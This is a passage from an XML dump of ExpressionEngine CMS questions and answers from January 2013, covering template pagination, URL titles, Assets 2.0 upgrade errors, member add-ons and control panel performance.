&amp;lt;!-- /.header --&amp;gt;&#xA;                        {if blog_image}&#xA;                            &amp;lt;p&amp;gt;&amp;lt;img src=&quot;{blog_image}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                        {blog_excerpt}&#xA;                        &amp;lt;a href=&quot;{url_title_path='blog/entry'}&quot; class=&quot;more&quot;&amp;gt;read more &amp;amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/article&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;!-- /.entry --&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;moreEntries&quot;&amp;gt;&#xA;                        {paginate}&#xA;                            {if previous_page}&#xA;                                &amp;lt;a href=&quot;{auto_path}&quot; class=&quot;prev&quot;&amp;gt;&amp;amp;lt;  Newer Posts&amp;lt;/a&amp;gt;    |  &#xA;                            {/if}&#xA;                            {if next_page}&#xA;                                &amp;lt;a href=&quot;{auto_path}&quot; class=&quot;next&quot;&amp;gt;Older Posts  &amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;                            {/if}&#xA;                        {/paginate}&#xA;                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.moreEntries --&amp;gt;&#xA;                {/exp:channel:entries}&#xA;            {if:else}&#xA;                {exp:channel:entries channel=&quot;blog&quot; disable=&quot;member_data&quot; limit=&quot;3&quot; paginate=&quot;bottom&quot; order_by=&quot;desc&quot;}&#xA;                    {if no_results}&#xA;                        &amp;lt;p&amp;gt;No results available&amp;lt;/p&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;div class=&quot;entry&quot;&amp;gt;&amp;lt;article&amp;gt;&#xA;                        &amp;lt;div class=&quot;header&quot;&amp;gt;&amp;lt;header&amp;gt;&#xA;                            &amp;lt;hgroup&amp;gt;&#xA;                                &amp;lt;h2 class=&quot;category&quot;&amp;gt;{categories}{category_name}{/categories}&amp;lt;/h2&amp;gt;&#xA;                                &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                            &amp;lt;/hgroup&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&amp;lt;span class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%F %d, %Y&quot;}&amp;lt;/span&amp;gt; / &amp;lt;span class=&quot;author&quot;&amp;gt;{author}&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/header&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;!-- /.header --&amp;gt;&#xA;                        {if blog_image}&#xA;                            &amp;lt;p&amp;gt;&amp;lt;img src=&quot;{blog_image}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                        {if event_location}&#xA;                            &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;{event_location}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;                            {blog_month} {blog_day}, {blog_year} - {blog_event_time}}&amp;lt;/p&amp;gt;&#xA;                        {/if}&#xA;                        {blog_excerpt}&#xA;                        &amp;lt;a href=&quot;{url_title_path='blog/entry'}&quot; class=&quot;more&quot;&amp;gt;read more &amp;amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/article&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;!-- /.entry --&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;moreEntries&quot;&amp;gt;&#xA;                    {paginate}&#xA;                            {if previous_page}&#xA;                                &amp;lt;a href=&quot;{auto_path}&quot; class=&quot;prev&quot;&amp;gt;&amp;amp;lt;  Newer Posts&amp;lt;/a&amp;gt;    |  &#xA;                            {/if}&#xA;                            {if next_page}&#xA;                                &amp;lt;a href=&quot;{auto_path}&quot; class=&quot;next&quot;&amp;gt;Older Posts  &amp;amp;gt;&amp;lt;/a&amp;gt;&#xA;                            {/if}&#xA;                        {/paginate}&#xA;                    &amp;lt;/div&amp;gt; &amp;lt;!-- /.moreEntries --&amp;gt;&#xA;                {/exp:channel:entries}&#xA;            {/if}&#xA;        {/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help you can offer!  &lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-01-15T21:12:02.903" Title="Pagination issue with Query and Conditional Statement" Tags="|pagination|query|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4828" PostTypeId="2" ParentId="4824" CreationDate="2013-01-15T20:54:27.447" Score="4" Body="&lt;p&gt;That's odd, you've always had to use an alpha character - not numbers only.  EE would interpret those as IDs rather than URL titles and become very confused. I'm not sure how you'd have number-only URL titles if submitting directly through EE's forms.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-01-15T20:54:27.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4829" PostTypeId="2" ParentId="4819" CreationDate="2013-01-15T20:54:33.117" Score="3" Body="&lt;p&gt;I would recommend setting the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/templates_as_files.html&quot; rel=&quot;nofollow&quot;&gt;save template as text files&lt;/a&gt; (as suggested by Dom) option in you config file. There is a good tutorial about putting your config file to better use &lt;a href=&quot;http://jamieonsoftware.com/journal/2011/4/6/getting-to-know-expressionengine-2s-config-file.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell though it's this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['save_tmpl_files'] = &quot;y&quot;;&#xA;$config['tmpl_file_basepath'] = &quot;/path/to/your/templates/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27" LastActivityDate="2013-01-15T20:54:33.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4830" PostTypeId="2" ParentId="4781" CreationDate="2013-01-15T21:03:14.263" Score="2" Body="&lt;p&gt;Playa has respected EE’s “Is this a required field?” field setting since version 4.0.5. Simply set that setting to “Yes” and save your field.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-15T21:03:14.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4831" PostTypeId="2" ParentId="4815" CreationDate="2013-01-15T21:05:48.457" Score="1" Body="&lt;p&gt;In addition to everything the others have noted...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used JS to create custom UI's for Matrix fields, even breaking Matrix out of a table into separate div's. A very simple solution would be to use JS to override the data you don't want.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-15T21:05:48.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4832" PostTypeId="2" ParentId="4824" CreationDate="2013-01-15T21:06:13.820" Score="7" Body="&lt;p&gt;This is a feature of ExpressionEngine. You won't be able to use numbers alone as URL Titles. If you managed it in the past, it was probably a bug/fluke that it was allowed, or the entry was created in a non-standard way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;code&gt;content_edit.php&lt;/code&gt; file there's a check for &lt;code&gt;is_numeric()&lt;/code&gt; that triggers an error. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Is the url_title a pure number?  If so we show an error.&#xA;if (is_numeric($data['url_title']))&#xA;{&#xA;    $error[] = lang('url_title_is_numeric');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's probably in the forums in a few spots, but here's one I found straight from &lt;a href=&quot;http://ellislab.com/team/member/derek-jones&quot;&gt;the horse's&lt;/a&gt; mouth (though it's just stated as fact, not explained): &lt;a href=&quot;http://ellislab.com/forums/viewthread/99496/#502754&quot;&gt;http://ellislab.com/forums/viewthread/99496/#502754&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Looks like Lisa beat me too it. &lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2013-01-15T21:06:13.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4833" PostTypeId="2" ParentId="4827" CreationDate="2013-01-15T21:12:02.903" Score="2" Body="&lt;p&gt;You're running into variable collision. Since both the Query and Channel modules use the &lt;code&gt;{paginate}&lt;/code&gt; tags, the outer-most module (Query) is winning the battle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is to embed your Channel Entries loops.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT status FROM exp_channel_titles WHERE entry_id = '46'&quot;}&#xA;    {if status == 'closed'}&#xA;        {embed=&quot;_embeds/loop1&quot;}&#xA;    {if:else}&#xA;        {embed=&quot;_embeds/_loop2&quot;}&#xA;    {/if}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your two chunks of code go into templates located at &lt;strong&gt;_embeds/loop1&lt;/strong&gt; and &lt;strong&gt;_embeds/loop2&lt;/strong&gt; respectively (use your own naming conventions of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also point out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;order_by=&quot;desc&quot;&lt;/code&gt; does nothing. You're probably thinking of&#xA;&lt;code&gt;orderby&lt;/code&gt;, but that parameter accepts a field name, not a sort order ... what I&#xA;think you want is &lt;code&gt;sort=&quot;desc&quot;&lt;/code&gt;, which you can omit anyway, because&#xA;that is the default sort. :)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;&amp;lt;div class=&quot;moreEntries&quot;&amp;gt;&lt;/code&gt; should be&#xA;&lt;em&gt;within&lt;/em&gt; your &lt;code&gt;{paginate}&lt;/code&gt; loop, otherwise you'll end up with &lt;code&gt;&amp;lt;div class=&quot;moreEntries&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; at the end of every entry in the loop,&#xA;followed by your pagination links outside of the final &lt;code&gt;moreEntries&lt;/code&gt;&#xA;division.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-15T21:12:02.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4834" PostTypeId="1" CreationDate="2013-01-15T21:27:55.770" Score="2" ViewCount="116" Body="&lt;p&gt;Anyone getting this with the new Assets 2.0?  Receive the error when saving the channel field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column '0' in 'where clause'&#xA;&#xA;SELECT * FROM (`exp_assets_folders`) WHERE `source_type` = 'ee' AND `source_id` = '1' AND `0` = 'parent_id'&#xA;&#xA;Filename: third_party/assets/ft.assets.php&#xA;&#xA;Line Number: 332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.5.5 and the Asset field is inside of a Matrix. &lt;/p&gt;&#xA;" OwnerUserId="806" LastEditorUserId="268" LastEditDate="2013-01-21T08:40:41.740" LastActivityDate="2013-01-21T08:40:41.740" Title="Assets 2.0 PHP Error" Tags="|add-on|assets|" AnswerCount="0" CommentCount="5" ClosedDate="2013-02-10T02:22:36.543" ContentLicense="CC BY-SA 3.0" />
  <row Id="4835" PostTypeId="1" AcceptedAnswerId="4840" CreationDate="2013-01-15T21:33:30.713" Score="4" ViewCount="452" Body="&lt;p&gt;Working on a college site that will have many, many members (in the hundreds), only a fraction of which will actually be editors in the CMS. All members need to have access to their own information (so they can update with ease). Each member will have a ton of custom fields, too, including specialty fields like Matrix and Playa (which, as I understand it, isn't allowed with the built-in member management).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options here? Really appreciate any suggestions I can get.&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-02-20T19:34:15.593" Title="What are my best options for powerful member management with many custom fields?" Tags="|members|custom-fields|member-details|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4836" PostTypeId="1" AcceptedAnswerId="5013" CreationDate="2013-01-15T21:53:16.830" Score="2" ViewCount="474" Body="&lt;p&gt;I have updated Assets from version 1.2.2 to 2.0 following the &lt;a href=&quot;http://pixelandtonic.com/assets/docs/updating&quot; rel=&quot;nofollow&quot;&gt;steps on the P&amp;amp;T website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After going to 'Add-Ons -&gt; Modules', selecting 'Run Module Updates' and confirming 'Update' on the Assets warning page, I received various PHP errors (which I stupidly did not copy). I was able to re-load that page and view the updated UI for Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I no longer see any of the files and images that were present in Assets 1.2.2 in the File Manager. Images on the front end are also now missing. Viewing the database, it looks like everything ing the &lt;code&gt;exp_assets_files&lt;/code&gt; table is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also run 'Updated Indexes' for both of my directories handled via Assets and cleared my browser cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am attempting the update locally via a MAMP install running PHP 5.3.14 and &lt;strong&gt;do&lt;/strong&gt; have a db backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2013-01-17T22:16:57.727" Title="Update from Assets 1.2.2 to 2.0, Files are not showing" Tags="|assets|" AnswerCount="3" CommentCount="5" ClosedDate="2013-01-19T23:07:10.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="4837" PostTypeId="2" ParentId="4835" CreationDate="2013-01-15T21:59:46.693" Score="0" Body="&lt;p&gt;an option could be visitor, you can use matrix and playa (or other fieldtypes) there &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;http://ee-zoo.com/add-ons/visitor/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="803" LastActivityDate="2013-01-15T21:59:46.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4838" PostTypeId="1" CreationDate="2013-01-15T22:01:54.583" Score="4" ViewCount="365" Body="&lt;p&gt;Using the native Comments Module, I have a comments form and entries on a page with a single blog entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am attempting to add an edit button to allow users to edit their comments on the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The edit link works fine for a Super Admin. According to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/comment/index.html#editing-permissions&quot; rel=&quot;nofollow&quot;&gt;EE documentation&lt;/a&gt;, I should be able to edit as a regular member as long as that member is logged in, the author of the comment, and the editing time limit must not have expired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have all 3 of those conditions met, yet nothing within the {if editable} renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any insight would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update:&#xA;My setup&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- jQuery is included in &amp;lt;head&amp;gt; --}&#xA;{exp:comment:edit_comment_script}&#xA;&amp;lt;ul id=&quot;posted-comments&quot;&amp;gt;&#xA;    {exp:comment:entries sort=&quot;asc&quot; limit=&quot;20&quot;}&#xA;        &amp;lt;li class=&quot;comment&quot; id=&quot;comment_{comment_id}&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;comment_body&quot;&amp;gt;{comment}&amp;lt;/span&amp;gt;&#xA;            {if editable}&#xA;                &amp;lt;a href=&quot;#&quot; class=&quot;edit_link&quot;&amp;gt;Edit&amp;lt;/a&amp;gt;&#xA;                &amp;lt;div class=&quot;editCommentBox&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                    &amp;lt;textarea cols=&quot;70&quot; rows=&quot;8&quot;&amp;gt;{comment_stripped}&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    &amp;lt;input type=&quot;submit&quot; name=&quot;cancel&quot; value=&quot;Cancel&quot; class=&quot;cancel_edit&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;submit&quot; name=&quot;save&quot; value=&quot;Save&quot; class=&quot;submit_edit&quot;&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;            &amp;lt;p class=&quot;info&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;name&quot;&amp;gt;By {name}&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;date&quot;&amp;gt;on {comment_date format=&quot;%m/%d/%Y&quot;}&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:comment:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="805" LastEditorUserId="16" LastEditDate="2013-01-16T02:08:38.060" LastActivityDate="2013-01-17T02:52:10.153" Title="Comments Module - edit comments" Tags="|ee2|members|comments|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4839" PostTypeId="2" ParentId="4835" CreationDate="2013-01-15T22:05:50.580" Score="1" Body="&lt;p&gt;I think almost any of the 'member data' in channels add-ons will work for you. Which one would be best, would require more information on what you hope to do with members, besides let them create detailed profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the 'member data' in channels add-ons, still use EE's Membership Module to manage permissions, and it can easily handle hundreds of records. We've got a couple of clients with more than 45,000 members, and the Membership Module handles it fine. One ONLY uses the Membership Module, the other uses &lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The membership management field is pretty long, just take a look at &lt;a href=&quot;http://devot-ee.com/search/results?keywords=member&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;Devot-ee&lt;/a&gt;, but if you want to start exploring, I'd look at these items: &lt;a href=&quot;http://devot-ee.com/add-ons/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;, and &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They offer similar flexibility in terms of being able to handle anything you can throw at channel data, but depending on what else you want to accomplish one maybe better than the other for you.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-15T22:05:50.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4840" PostTypeId="2" ParentId="4835" CreationDate="2013-01-15T22:06:09.813" Score="7" Body="&lt;p&gt;There are a number of member add-ons that substitute the native member module for channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ee-zoo.com/add-ons/visitor/&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://objectivehtml.com/safecracker-registration&quot; rel=&quot;nofollow&quot;&gt;Safecracker Registration&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since members are handled as regular channel entries, you are free to use any custom fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, since they are channel entries, you can use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html&quot; rel=&quot;nofollow&quot;&gt;Safecracker&lt;/a&gt; to allow the users to edit their own profiles/entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Erik mentioned, Focus Lab wrote up &lt;a href=&quot;http://focuslabllc.com/blog/member-profile-add-ons-in-expressionengine&quot; rel=&quot;nofollow&quot;&gt;a comparison of the big 3 membership addons&lt;/a&gt; mentioned above.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-02-20T19:34:15.593" LastActivityDate="2013-02-20T19:34:15.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4842" PostTypeId="1" AcceptedAnswerId="4925" CreationDate="2013-01-15T23:03:27.167" Score="2" ViewCount="106" Body="&lt;p&gt;I was doing an update from 2.4 to 2.5.5 using Updater, it seemed to install EE but when it got to updating the modules it gave an error about the Referrer module and seemed to stop. It looks like the EE update worked fine, but if i try access the Referrer module it get this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Notice&#xA;&#xA;Message: Undefined property: Addons_modules::$dbforge&#xA;&#xA;Filename: referrer/upd.referrer.php&#xA;&#xA;Line Number: 156&#xA;&#xA;Fatal error: Call to a member function modify_column() on a non-object in /system/expressionengine/modules/referrer/upd.referrer.php on line 156&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's up?&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2013-01-17T00:04:52.267" Title="Error when with referrer/upd.referrer.php when updating to 2.5.5" Tags="|update|devdemon-updater|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4843" PostTypeId="2" ParentId="4842" CreationDate="2013-01-15T23:36:49.907" Score="0" Body="&lt;p&gt;I'd suggest reuploading the Referrer module's files as a first step. It's possible something got corrupted on the upload.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-01-16T01:50:52.367" LastActivityDate="2013-01-16T01:50:52.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4844" PostTypeId="2" ParentId="4842" CreationDate="2013-01-16T02:08:02.657" Score="1" Body="&lt;p&gt;Try this... Open /system/expressionengine/modules/referrer/upd.referrer.php, add a new line just after line 141, then add the following to that new line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;dbforge();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save to the server and try to access the Referrer module page.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-01-16T02:08:02.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4845" PostTypeId="1" AcceptedAnswerId="4911" CreationDate="2013-01-16T02:22:13.593" Score="4" ViewCount="153" Body="&lt;p&gt;I just updated a large EE 2.5.2 install to Assets 2.0 and updated indexes. Everything went smoothly, and I've noticed a strange new behavior: &lt;strong&gt;thumbnail generation (any size) in the admin panel will temporarily block the website from loading Assets images.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reproduce:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Choose a large (100+ item) Assets folder to browse in the admin panel. Any view/thumbnail size will have the same effect.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;While the thumbnails are loading, navigate to a page on the public website that uses Assets tags in its template.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The result: the page in #2 will stall until all thumbnails in #1 have finished loading. Immediately after finishing, the public page will load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is on a MediaTemple DV4 server with 2048MB RAM and plenty of resources, and several httpd instances. Could the mysql process be the bottleneck? What else might cause this to happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; This appears to be limited to the same session. I originally tried this with Chrome 24 (Mac), running both #1 and #2 in different tabs. When I instead tried #2 in Firefox, there was no blocking and everything loaded as expected. Now I'm not sure if I've got a problem worth solving or a minor annoyance to live with. &lt;/p&gt;&#xA;" OwnerUserId="810" LastEditorUserId="268" LastEditDate="2013-01-21T08:37:33.803" LastActivityDate="2013-01-21T08:37:33.803" Title="Assets 2.0: Why do public templates stall while Assets is working in the admin panel?" Tags="|add-on|assets|performance|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4846" PostTypeId="1" AcceptedAnswerId="4849" CreationDate="2013-01-16T02:57:44.287" Score="0" ViewCount="46" Body="&lt;p&gt;I have a static page that I don't have a specific channel for.  Its just a contact form, and I don't see any reason to have it be a channel entry because there's not really content there to change or update.  However, I have breadcrumbs and I use the code below to tell the breadcrumbs what to display, and given that there is no channel entry for my contact form, the breadcrumb shows up as blank.  Is there a way to just assign a fake channel name to the contact page so that this code will work, or do I have to make a channel for it? or is there some other work around?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != &quot;&quot;}&#xA;     &amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path={segment_1}}&quot;&amp;gt;{channel}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;     &amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;{if:elseif segment_2 == &quot;&quot;}&#xA;     &amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;{channel}&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-01-16T03:54:03.657" Title="Static page with no channel attached...can I assign a fake channel?" Tags="|channel|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4847" PostTypeId="2" ParentId="4794" CreationDate="2013-01-16T02:58:35.250" Score="0" Body="&lt;p&gt;While it's still brand new and bound to have some issues, which you can probably track here, it does sound like &lt;a href=&quot;https://pixelandtonic.com/blog/assets2&quot; rel=&quot;nofollow&quot;&gt;Assets v 2.0&lt;/a&gt; will allow you to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See sections on Conflict Resolution and Lossless File Replacement from the new &lt;a href=&quot;https://pixelandtonic.com/blog/assets2&quot; rel=&quot;nofollow&quot;&gt;Pixel and Tonic blog post&lt;/a&gt;, but quoted here for easy reading: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Conflict Resolution&lt;/strong&gt; When you upload a file with the same name as an existing file, Assets now lets you chose how to proceed. You can&#xA;  rename the new file, replace the original file, or cancel the upload.&#xA;  We didn’t stop at file uploads: you’re given similar choices any time&#xA;  you perform any action which would result in two files or folders with&#xA;  the same name living in the same directory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;followed by &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Lossless File Replacement&lt;/strong&gt; You can now replace existing files while preserving the original file’s metadata and entry associations. Simply&#xA;  upload a new file with the same name as the original. When you’re&#xA;  asked how you want to handle the naming conflict, choose to replace&#xA;  the original file, and presto: new file, same old metadata.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think those two options, would easily allow the replacement of the file and still maintain any data associated with it.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-16T02:58:35.250" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4848" PostTypeId="1" CreationDate="2013-01-16T03:36:08.250" Score="4" ViewCount="1170" Body="&lt;p&gt;I have the most baffling problem. I have a live server where working in the EE backend is very slow due to a javascript and a css request called via &lt;a href=&quot;http://domain.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=load&amp;amp;file=ext_scripts&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=javascript&amp;amp;M=load&amp;amp;file=ext_scripts&lt;/a&gt; and &lt;a href=&quot;http://domain.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=css&amp;amp;M=cp_global_ext&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=css&amp;amp;M=cp_global_ext&lt;/a&gt; respectively. Each takes 10 seconds to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The baffling part is that it only happens on one server (the production server). I have the exact sites mirrored on a staging server as well as my laptop and neither exhibit the behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could cause this? I am at wits end on this one and any help would be a godsend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="440" LastEditorUserId="28" LastEditDate="2013-01-17T02:00:47.760" LastActivityDate="2017-04-26T19:44:23.867" Title="Slow control panel js and css loads" Tags="|control-panel|javascript|css|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
